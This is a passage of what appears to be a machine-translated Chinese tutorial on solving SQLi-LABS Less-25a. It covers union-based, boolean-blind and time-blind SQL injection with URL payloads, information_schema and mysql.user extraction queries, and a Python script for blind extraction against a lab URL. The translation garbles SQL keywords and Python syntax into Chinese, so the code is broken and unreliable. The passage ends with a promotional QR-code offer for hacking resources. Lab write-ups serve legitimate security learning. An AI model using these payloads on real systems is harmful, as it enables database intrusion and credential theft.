如果按第4 列排序,将开始显示错误(空),并且已确认的项目数将变为空。
第三步、判断显示位
在地址栏中输入“?id=0 Union select 1,2,3 a”。
第四步、脱库
以您当前的数据库为例,在地址栏中键入以下内容:
?id=0 联合选择1,
(数据库())
,3–a
对于其他数据库删除操作,只需将下图中圈出的位置替换为您的SQL语句即可。
常用的排除语句有:
# 获取所有数据库
选择group_concat(模式名称)
来自information_schema.schemata
# 获取安全库中的所有表
选择group_concat(表名)
来自information_schema.tables
其中表模式=\’安全\’
# 获取users表的所有字段
选择group_concat(列名)
来自information_schema.columns
其中table_schema=\’安全\’ 和table_name=\’用户\’
# 获取数据库管理员用户密码
选择group_concat(用户,密码)
来自mysql.user user=\’mituan\’
方式二:布尔盲注
有关如何使用布尔盲注的详细说明,请参阅我的其他文章。
布尔盲注如何使用详解,原理+步骤+实用教程
第一步、判断注入点
如果在地址栏中输入?id=1和1 a,页面将正常显示。
如果在地址栏输入“?id=1 anandd 0 a”,页面会出现异常(空)。
第二步、判断长度
检查当前使用的数据库名称的长度。如果长度大于1,则在地址栏中输入。
?id=1 和长度(
(数据库())
) 1——一个
库名称的长度必须大于1,这样页面才能正常显示并确认有效负载可用。
从1 确定长度并稍后使用脚本进行测试。
第三步、枚举字符
截取当前数据库名称的第一个字符,将其转换为ASCLL 代码,并检查它是否大于1。在地址栏中输入:
?id=1 和ascii(
子字符串(
(数据库())
,1,1)
) 1——一个
字符的ASCLL 代码必须大于1,以确保页面显示正确且负载可用。
接下来判断字符的ASCLL码是否等于(32~126)。
成功确定第一个字符后,依次确定其他字符,然后使用脚本进行测试。
脱库
Python自动推理脚本如下,可以根据需要进行修改。
导入请求
# 将URL 替换为您的射击场级别URL
# 更改两个对应的payload
# 目标URL(无参数)
URL=\’http://844fdfebce5d493b9f82451290bc4688.app.mituan.zone/Less-25a/\’
# 用于推断长度的有效负载
Payload_len=\’\’?id=1 和长度(
(数据库())
)={n} — a — a\’\’\’
# 用于枚举字符的有效负载
Payload_str=\’\’?id=1 anandd ascii(
子字符串(
(数据库())
,{l},1)
)={n} — 一个\’\’\’
# 获取长度
def getLength(url, 有效负载):
length=1 # 初始测试长度为1
而True:
Response=request.get(url=url+payload_len.format(n=长度))
# 如果页面上存在该内容则表示成功。
如果响应中包含“您的登录名”。文本:
print(\’长度测试完成。长度为:\’, length,)
返回长度;
: 其他
print(\’测试长度:\’,length)
length +=1 # 增加测试长度
# 获取字符
def getStr(url, 负载, 长度):
str=\’\’ #初始表名/库名为空
# 在循环的第一级截取每个字符
: 表示范围(1, 长度+ 1) 内的l
# 循环的第二级枚举了截取该字符的所有可能性。
对于(33, 126): 范围内的n
响应=request.get(url=url+payload_str.format(l=l, n=n))
# print(\’猜猜\’, n)
# 如果页面上存在该内容则表示成功。
如果响应中包含“您的登录名”。文本:
字符串+=字符(n)
print(\’第\’, l, \’成功猜出第\’个字符: \’, str)
休息;
返回一个字符串。
# 开始猜测
长度=getLength(url, Payload_len)
getStr(url,payload_str,长度)
执行结果如下。
对于其他数据库删除操作,只需将下图中圈出的位置替换为您的SQL语句即可。
常用的库删除语句指向方法1的末尾。
方式三:时间盲注
有关如何使用时间盲注的详细说明,请参阅我的另一篇文章。
SQL注入时盲注入,原理+步骤+实用思路
第一步、判断注入点
如果在地址栏中输入?id=1和1 a,页面将正常显示。
如果在地址栏输入“?id=1 anandd 0 a”,页面会出现异常(空)。
第二步、判断长度
检查当前使用的数据库名称长度是否大于1。如果大于1,请在地址栏中键入以下内容:
?id=1 和if(
(长度(
(数据库())
) 1)
,睡眠(5),3) — 一个
库名称的长度必须大于1,因此页面将延迟响应5秒以确保有效负载可用。
将测试长度从1 增加到稍后使用脚本测试。
第三步、枚举字符
获取当前数据库名的第一个字符,将其转换为ASCLL,并检查它是否大于1。如果大于1,请在地址栏中键入以下内容:
?id=1 和if(
(ASCII(
子字符串(
(数据库())
,1,1)
) 1)
,睡眠(5),3) — 一个
确定字符的ASCLL 代码是否按顺序等于32 到126。
猜完第一个字母后,再猜其他字母以便稍后测试以节省时间。
脱库
Python自动化测试脚本如下,可以根据需要修改。
给大家的福利
从基础零开始
对于刚接触网络安全的学生,我们创建了详细的学习和成长路线图。这可以说是最科学、最系统的学习路线。每个人都可以遵循这个大方向。
同时,还根据成长路线提供了每个部分的支持视频。
由于篇幅有限,仅包含部分信息。
网络安全面试问题
绿色联盟网络保护行动
以及每个人最喜欢的黑客技术
网络安全源码合集+工具包
所有信息总计282G。如果想要《网络安全入门+黑客进阶学习资源包》全套,可以扫描下面二维码获取(扫码有问题可以在评论区留言获取)。那个)~
以上#SQLi LABS Less 25a联合注入+布尔盲注+时间盲注_sqllab25a相关内容来源网络,仅供大家参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/92142.html